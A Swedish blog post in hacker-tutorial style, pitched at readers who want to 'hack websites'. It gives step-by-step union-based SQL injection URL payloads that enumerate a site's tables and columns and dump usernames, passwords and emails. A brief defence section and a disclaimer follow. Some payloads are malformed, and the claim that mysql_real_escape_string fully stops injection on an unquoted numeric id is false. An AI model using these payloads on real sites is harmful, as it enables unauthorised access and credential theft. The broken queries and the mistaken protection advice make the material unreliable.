5

SQL injections

sqli
  • Apr 14, 11
  • |
  • ,
  • |
  • Postat av: Sony

Har du alltid velat kunna hacka hemsidor?
Då är detta ett steg närmare, i denna guide tar jag upp SQL injections, ett säkerhets hål som kan ge dig bla lösenord ;)

Vad är det?

SQL injections (SQLi) är ett säkerhetshål i en hemsida/program som tillåter användaren att köra SQL kod.
Användare kan skriva in kod som får hemsidan/programmet att skriva ut tex lösenord, ändra lösenord och ta bort data.

Utsatt?

För att testa om en hemsida är utsatt för SQLi(SQL injections) så sätter man ett ' efter URL:er som ser ut så hära:

http://www.exampel.com/index.php?id=98

http://www.exampel.com/?cat=hax&id=36

http://www.exampel.com/?search=pro

Om hemsidan genererar ett fel så är hemsidan antagligen utsatt för SQLi.

Ta reda på information

Nu vill vi få ut information från hemsidan, för att göra detta måste vi veta antalet kolumner i databasen. Ta bort ' och lägg till ORDER BY 1-- i URL:en. ORDER BY [int] säger att den ska sortera efter kolumn nr [int] och -- gör resten av koden till en kommentar.
Öka siffran tills du får ett felmeddelande.
När du får ett felmeddelande betyder det att kolumn nr 8(tex) inte finns. Då vet vi att det finns 7 kolumner.

Innan vi börjar med att skriva ut information måste vi kolla var informationen skrivs ut. Ta bort ORDER BY [int] och lägg till UNION ALL SELECT 1,2,3,4,5,6,7--. Antal siffror beror på antal kolumner som finns.
UNION ALL kräver att det är lika många kolumner som väljs i båda SELECT sattserna, annars fungerar det inte. Gäller även UNION.
Om det inte kommer upp några siffror så sätt ett - före id:et eller ändra till något som inte finns.

Tex:

http://www.exampel.com/index.php?id=-98 UNION ALL SELECT 1,2,3,4,5,6,7--
http://www.exampel.com/?cat=hax&id=-36 UNION ALL SELECT 1,2,3,4,5,6,7--
http://www.exampel.com/?search=hdSHjsw UNION ALL SELECT 1,2,3,4,5,6,7--

OBS! Siffrorna kan synas i koden som bild länkar / dolda fält etc

Nu vill vi veta vad för MySQL version hemsidan har. Ersätt en av av siffrorna som visades på sidan med version(). Om sidan visar mer en 5.0 så kan vi fortsätta.
Har den över 5.0 så kan vi lista alla tabell namn och kolumn namn. Annars måste vi gissa oss fram (blind injection)

Vi fortsätter med att få ut tabell namnen. Om vi har tur hittar vi en user_tbl *lala*

Ersätt en av siffrorna som syntes på sidan med group_concat(table_name). Lägg sedan till FROM information_schema WHERE table_schema=database()-- längst bak.

Nu bör URL:en se ut såhära:

http://www.exampel.com/index.php?id=-98 UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()--
http://www.exampel.com/?cat=hax&id=-36 UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()--
http://www.exampel.com/?search=hdSHjsw UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()--

group_concat() samlar ihop flera rader data, även från flera källor, till en enda text sträng. FROM information_schema.tables hämtar information om tabellerna från databasen information_schema. WHERE table_schema=database() ser till att vi får information om rätt tabeller.

Skriv ner tabellerna, vi behöver dem sen.

Nu vill vi få ut kolumnerna så att vi kan börja hämta ut data.
Kolumnera får vi ut genom att byta ut group_concat(table_name) mot group_concat(column_name) och byta ut FROM infor...ema.tables mot FROM infor...ema.columns

Notera kolumnerna som visas på sidan.

Få ut data

Nu har vi tabell namnen och kolumn namnen. Då kan vi börja fiska :)

Om vi tex hittade users_tbl och kolumnerna

ID
usr
pass
mail
reg_date
ip
visits
online

och vill få ut användarnamn, lösenord och mail så byter vi ut group_concat(coulmn_name) mot
group_concat(user,0x3a,pass,0x3a,mail).
0x betyder att följande siffror & bokstäver(A-F) i grupper om 2 ska tolkas som HEX värden. HEX värderna görs om till en text sträng. 0x3a blir ett ":" och 0x68656A blir "hej".

Sedan byter vi ut FROM infor...ma.columns mot FROM user_tbl.

Hela URL:en bör då vara

http://www.exampel.com/index.php?id=-98 UNION ALL SELECT 1,group_concat(user,0x3a,pass,0x3a,mail),3,4,5,6,7 FROM user_tbl WHERE table_schema=database()--
http://www.exampel.com/?cat=hax&id=-36 UNION ALL SELECT 1,group_concat(user,0x3a,pass,0x3a,mail),3,4,5,6,7 FROM user_tbl WHERE table_schema=database()--
http://www.exampel.com/?search=hdSHjsw UNION ALL SELECT 1,group_concat(user,0x3a,pass,0x3a,mail),3,4,5,6,7 FROM user_tbl WHERE table_schema=database()--

Hela koden betyder alltså "... OCH VÄLJ (user:pass:mail som en sträng) FRÅN user_tbl DÄR databsen är samma som används nu" representerar koden som redan körs på servern.

Grattis!
Du har nu utfört din första SQL injection! :)

Hur skyddar man sig?

Om du är en utvecklare och läst detta kanske du blir lite skraj, är det så lätt att hacka min sida?
Ja, om du inte skyddar dig. Men lugn, det är enkelt att skydda sig.

Först vill jag att du som utvecklare förstår vad som händer med din kod.
Vi utgår ifrån att din kod ser ut såhär:

<?php
...
$result = mysql_query("SELECT * FROM news WHERE id = $_GET['id']");
...
?>

Om en hackare ändrar ID:et till

-1 UNION ALL SELECT group_concat(user, pass) FROM users--

så blir din SQL fråga

SELECT * FROM news WHERE id = -1 UNION ALL SELECT group_concat(user, pass) FROM users--

. Inte så bra va?

För att skydda sig i PHP lägger man till mysql_real_escape_string(); runt $_GET['id']. Detta är det bästa skyddet och skyddar helt mot SQLi. Man kan även, i detta exempel köra intval($_GET['id']);.

_________
Tillägg:

OBS! Detta är skrivet i utbildnings syfte och jag uppmanar ingen att göra olagliga handlingar.

”In order to learn computer security you must first learn how to breach it.”

Custom avatar Custom avatar Custom avatar
Skriv in ditt namn här

Va bra!

avatar1.png
Sony

@Zykick Tack :)

avatar2.png
Skriv in ditt namn här

Sony haru tagit bort login guiden? :(

Zykick

Nice sony!

avatar1.png
Sony

Kommentarer verkar funka :)